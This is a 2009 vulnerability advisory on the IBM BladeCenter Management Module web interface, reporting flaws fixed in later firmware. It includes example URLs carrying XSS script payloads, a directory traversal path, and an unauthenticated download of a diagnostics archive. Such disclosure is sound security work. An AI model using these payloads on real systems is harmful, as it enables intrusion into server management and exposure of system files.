[DSECRG-09-054] IBM Bladecenter Management - Multiple vulnerabilities

The BladeCenter management module is prone to multiple security vulnerabilities: Unauthorized Access, Directory Listing, XSS


Digital Security Research Group [DSecRG] Advisory #DSECRG-09-054


Application: IBM BladeCenter Managemet Module
Versions Affected: BPET48L and may be other versions
Vendor URL: http://www-03.ibm.com/systems/bladecenter/
Bug: XSS,Directory traversal, Information disclosure
Exploits: YES
Reported: 05.09.2009
Vendor response: 09.09.2009
Solution: YES
Date of Public Advisory: 05.07.2010
Author: Sintsov Alexey
from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


Description
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The BladeCenter management module is prone to multiple security vulnerabilities:

1 Dinamic XSS
2 Directory Listing
3 Unauthorized Access

Details
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1. Multiple XSS vulnerabilities found in bladecenter web management


Examples
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http://[BLADECENTER]/private/cindefn.php?INDEX=3%3C/NOBR%3E%20%3Cscript%3Ealert(\'XSS1\');%3C/script%3E&VLANID=&IPADDR=3>%3Cscript%3Ealert(\'XSS2\');%3C/script%3E
http://[BLADECENTER]/private/power_management_policy_options.php?domain=3<XSS>

http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>

http://[BLADECENTER]/private/power_module.php?view=4&mod_type=4&slot=3<XSS>
http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>
http://[BLADECENTER]/private/blade_leds.php?WEBINDEX=3<XSS>

http://[BLADECENTER]/private/ipmi_bladestatus.php?SLOT=3<XSS>&save=1


2. Directory Listing vulnerability found in bladecenter web management

Attacker need to be authorized.

Examples
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http://[BLADECENTER]/private/file_management.php?DIR=/../../../tmp/etc


Attacker can get full access to OS files.


3. UNauthorized access

Access to the sensitive data (system logs, cores) can be done by requesting a file:

Examples
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http://[BLADECENTER]/private/sdc.tgz


Solution
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All three issues were fixed in the v4.7 and v5.0

References
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http://dsecrg.com/pages/vul/show.php?id=154


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